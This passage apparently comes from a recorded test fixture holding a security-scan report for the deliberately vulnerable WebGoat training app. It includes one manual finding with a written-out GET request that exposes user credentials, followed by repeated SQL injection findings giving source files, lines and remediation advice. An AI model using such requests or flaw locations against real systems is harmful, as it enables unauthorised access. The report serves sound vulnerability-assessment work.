lu+H9WzftiyYuX6fvp1WXtj9baMvp7Wxw5vIQABCEAAAusjsFlRGBuCLRFr62uGNy2q9aPVPMUtsMRGCEAAAhCAAATyBDYrCvOunU6KJecpng5VPIUABCAAAQicFoFdi0JdiGKHYu17oSFb+14s7VQLXEL2De1+oUhhzM4p6x1qL/kgAAEIQAACEFgXgbdeu9cQk/7477+8ke2/f/3PkKLIA4ED/YlOAAEIQAACEGhLYHOicMx2MG1Rb6/22nmNYzxEFI6hR14IQAACEIDAeAKbE4XjXaaENRJAFK6xVbAJAhCAAAROicCu5xSeUkPiKwQgAAEIQAACEBhDAFE4hh55IQABCEAAAhCAwE4IIAp30pC4AQEIQAACEIAABMYQQBSOoUdeCEAAAhCAAAQgsBMCiMKdNCRuQAACEIAABCAAgTEEEIVj6JEXAhCAAAQgAAEI7IQAonAnDYkbEIAABCAAAQhAYAwBROEYeuSFAAQgAAEIQAACOyGwWVGYO9lEr+fS1bSjni8cOme4phzSQgACEIAABCAAgbUR2KwoXBqkCEE59s3+TCk4l/aH+iAAAQhAAAIQgIAlsElRqALNF2U2kmedDEX2Uu/Vij2b3v89ZKPYFotk1tZNd4YABCAAAQhAAAJTENikKAw57kfybBqN7lkhlnpPro19WXtCwlDrkH99u8bWTX4IQAACEIAABCBQS2A3orDW8SXSx+YeTiE6l7CfOiAAAQhAAAIQOB0CmxOF/rDrmodb7fzD0+lSeAoBCEAAAhCAwBYJvPXavYYY/sd//+WNbP/963+GFFWVR4dlNZP92xeIOjSrkblQWhu1s/lD0bxQ+WJHyfshG6zjvl9VUHaQuFV/2gE6XIAABCAAAQhMQmBzonASrycoJCcga6tAFLb5klHbTqSHAAQgAAEI7JXA5kThmoeLp+okpzjnkEjhVL2HciAAAQhAAALDCGxOFA5zk1xrJ4AoXHsLYR8EIAABCOydwOYWmuy9QfAPAhCAAAQgAAEItCCAKGxBnTohAAEIQAACEIDAygggClfWIJgDAQhAAAIQgAAEWhBAFLagTp0QgAAEIAABCEBgZQQmXWiyMt8wZ+MEltj3cuOIMB8CEIAABCAwGQEihZOhpCAIQAACEIAABCCwXQKIwu22HZZDAAIQgAAEIACByQggCidDSUEQgAAEIAABCEBguwQQhdttOyyHAAQgAAEIQAACkxEYvNBkCgs++eSTw1dffXWrKPte6HpJvVOUUVIPaSAAAQhAAAIQgMBeCDQThSWCT9LYV0hA6nV7LSUKbZl+ntK6JF0sr2/jXjoKfkAAAhCAAAQgsHMCrxu9zs/PszX7aVJ57LWS36XyWLqprmUdJAEEIAABCEAAAhBYCYFNzymUqJ/+lGr3IXlyZc9RZq5OrkMAAhCAAAQgAIEpCWxWFOoQsQzX1gzZavrafCnoc5Q5ZSNTFgQgAAEIQAACEMgRaCYKRUj5cwbF2NB7OSeGXp+jrjnKHOof+SAAAQhAAAIQgEApgWYLTdTA1GISfzFK6G/rqEYMhy40iS1WCYlVFpqUdjHSQQACEIAABCCwBQLNReEWIPk2lqyc3qJf2AwBCEAAAhCAwOkSQBQWtn1sK5vC7CSDAAQgAAEIQAACqyaAKFx182AcBCAAAQhAAAIQWIZAs4Umy7hHLRCAAAQgAAEIQAACJQQQhSWUSAMBCEAAAhCAAAR2TgBRuPMGxj0IQAACEIAABCBQQgBRWEKJNBCAAAQgAAEIQGDnBBCFO29g3IMABCAAAQhAAAIlBBCFJZRIAwEIQAACEIAABHZOAFG48wbGPQhAAAIQgAAEIFBCAFFYQok0EIAABCAAAQhAYOcEEIU7b2DcgwAEIAABCEAAAiUEEIUllEgDAQhAAAIQgAAEdk4AUbjzBsY9CEAAAhCAAAQgUEIAUVhCiTQQgAAEIAABCEBg5wQQhTtvYNyDAAQgAAEIQAACJQQQhSWUSAMBCEAAAhCAAAR2TgBRuPMGxj0IQAACEIAABCBQQgBRWEKJNBCAAAQgAAEIQGDnBBCFO29g3IMABCAAAQhAAAIlBBCFJZRIAwEIQAACEIAABHZOAFG48wbGPQhAAAIQgAAEIFBCAFFYQok0EIAABCAAAQhAYOcEEIU7b2DcgwAEIAABCEAAAiUEEIUllEgDAQhAAAIQgAAEdk4AUbjzBsY9CEAAAhCAAAQgUEIAUVhCiTQQgAAEIAABCEBg5wQQhTtvYNyDAAQgAAEIQAACJQQQhSWUSAMBCEAAAhCAAAR2TgBRuPMGxj0IQAACEIAABCBQQgBRWEKJNBCAAAQgAAEIQGDnBBCFO29g3IMABCAAAQhAAAIlBBCFJZRIAwEIQAACEIAABHZOAFG48wbGPQhAAAIQgAAEIFBCAFFYQok0EIAABCAAAQhAYOcEEIU7b2DcgwAEIAABCEAAAiUEEIUllEgDAQhAAAIQgAAEdk4AUbjzBsY9CEAAAhCAAAQgUEIAUVhCiTQQgAAEIAABCEBg5wQQhTtvYNyDAAQgAAEIQAACJQQQhSWUSAMBCEAAAhCAAAR2TgBRuPMGxj0IQAACEIAABCBQQgBRWEKJNBCAAAQgAAEIQGDnBBCFO29g3IMABCAAAQhAAAIlBBCFJZRIAwEIQAACEIAABHZOAFG48wbGPQhAAAIQgAAEIFBCAFFYQok0EIAABCAAAQhAYOcEEIU7b2DcgwAEIAABCEAAAiUEEIUllEgDAQhAAAIQgAAEdk4AUbjzBsY9CEAAAhCAAAQgUEIAUVhCiTQQgAAEIAABCEBg5wQQhTtvYNyDAAQgAAEIQAACJQQQhSWUSAMBCEAAAhCAAAR2TgBRuPMGxj0IQAACEIAABCBQQgBRWEKJNBCAAAQgAAEIQGDnBBCFO29g3IMABCAAAQhAAAIlBBCFJZRIAwEIQAACEIAABHZOAFG48wbGPQhAAAIQgAAEIFBCAFFYQok0EIAABCAAAQhAYOcEEIU7b2DcgwAEIAABCEAAAiUEEIUllEgDAQhAAAIQgAAEdk4AUbjzBsY9CEAAAhCAAAQgUEIAUVhCiTQQgAAEIAABCEBg5wQQhTtvYNyDAAQgAAEIQAACJQQQhSWUSAMBCEAAAhCAAAR2TgBRuPMGxj0IQAACEIAABCBQQgBRWEKJNBCAAAQgAAEIQGDnBBCFO29g3IMABCAAAQhAAAIlBBCFJZRIAwEIQAACEIAABHZOAFG48wbGPQhAAAIQgAAEIFBCAFFYQok0EIAABCAAAQhAYOcEEIU7b2DcgwAEIAABCEAAAiUEEIUllEgDAQhAAAIQgAAEdk4AUbjzBsY9CEAAAhCAAAQgUEIAUVhCiTQQgAAEIAABCEBg5wQQhTtvYNyDAAQgAAEIQAACJQT+fyP+Etq8TJ98AAAAAElFTkSuQmCC</data>\n</screenshot>\n<code>The
+        following GET request will display the username and password for users within
+        the application.\n\nGET /WebGoat/attack?Screen=1073550134&amp;menu=2000&amp;admin=true
+        HTTP/1.1\nHost: targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
+        rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nCookie: JSESSIONID=13984BA559044E0A4610D4AC31B06B27\n</code></appendix></flaw></manualflaws></cwe></category></severity><severity
+        level=\"4\"><category categoryid=\"19\" categoryname=\"SQL Injection\" pcirelated=\"false\"><desc><para
+        text=\"SQL injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct a SQL query.
+        \ This allows an attacker to manipulate database queries in order to access,
+        modify, or delete arbitrary data.  Depending on the platform, database type,
+        and configuration, it may also be possible to execute administrative operations
+        on the database, access the filesystem, or execute arbitrary system commands.
+        \ SQL injection attacks can also be used to subvert authentication and authorization
+        schemes, which would enable an attacker to gain privileged access to restricted
+        portions of the application.\"/></desc><recommendations><para text=\"Several
+        techniques can be used to prevent SQL injection attacks. These techniques
+        complement each other and address security at different points in the application.
+        Using multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a SQL injection vulnerability.\"><bulletitem text=\"Use parameterized prepared
+        statements rather than dynamically constructing SQL queries.  This will prevent
+        the database from interpreting the contents of bind variables as part of the
+        query and is the most effective defense against SQL injection.\"/><bulletitem
+        text=\"Validate user-supplied input using positive filters (white lists) to
+        ensure that it conforms to the expected format, using centralized data validation
+        routines when possible. \"/><bulletitem text=\"Normalize all user-supplied
+        data before applying filters or regular expressions, or submitting the data
+        to a database. This means that all URL-encoded (%xx), HTML-encoded (&amp;#xx;),
+        or other encoding schemes should be reduced to the internal character representation
+        expected by the application. This prevents attackers from using alternate
+        encoding schemes to bypass filters.\"/><bulletitem text=\"When using database
+        abstraction libraries such as Hibernate, do not assume that all methods exposed
+        by the API will automatically prevent SQL injection attacks.  Most libraries
+        contain methods that pass arbitrary queries to the database in an unsafe manner.\"/></para></recommendations><cwe
+        cweid=\"89\" cwename=\"Improper Neutralization of Special Elements used in
+        an SQL Command ('SQL Injection')\" pcirelated=\"false\" owasp=\"929\" sans=\"864\"><description><text
+        text=\"This database query contains a SQL injection flaw.  The function call
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input.  An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database.\"/></description><staticflaws><flaw severity=\"4\" categoryname=\"Improper
+        Neutralization of Special Elements used in an SQL Command ('SQL Injection')\"
+        count=\"1\" issueid=\"126\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.Statement.executeUpdate\"
+        description=\"This database query contains a SQL injection flaw. The call
+        to java.sql.Statement.executeUpdate() constructs a dynamic SQL query using
+        a variable derived from user-supplied input. An attacker could exploit this
+        flaw to execute arbitrary SQL queries against the database. The first argument
+        to executeUpdate() contains tainted data from the variable arrSQL. The tainted
+        data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        dynamically constructing SQL queries. Instead, use parameterized prepared
+        statements to prevent the database from interpreting the contents of bind
+        variables as part of the query. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BackDoors.java\"
+        line=\"106\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BackDoors\"
+        functionprototype=\"apache.ecs.Element concept1(session.WebSession)\" functionrelativelocation=\"26\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"91\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable arrSQL. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BackDoors.java\"
+        line=\"113\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BackDoors\"
+        functionprototype=\"apache.ecs.Element concept1(session.WebSession)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"236\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BlindSqlInjection.java\"
+        line=\"122\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BlindSqlInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"148\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"220\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage2(session.WebSession)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"66\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DOS_Login.java\"
+        line=\"114\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DOS_Login\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"26\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"245\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable insertData1. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DOS_Login.java\"
+        line=\"134\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DOS_Login\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"206\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"148\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.Login\" functionprototype=\"byte
+        login(session.WebSession, int, java.lang.String)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"75\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"149\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\"
+        functionprototype=\"byte login(session.WebSession, java.lang.String, java.lang.String)\"
+        functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"106\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"191\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\"
+        functionprototype=\"byte login_BACKUP(session.WebSession, java.lang.String,
+        java.lang.String)\" functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"247\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SqlNumericInjection.java\"
+        line=\"130\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SqlNumericInjection\"
+        functionprototype=\"apache.ecs.Element injectableQuery(session.WebSession)\"
+        functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"165\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SqlStringInjection.java\"
+        line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SqlStringInjection\"
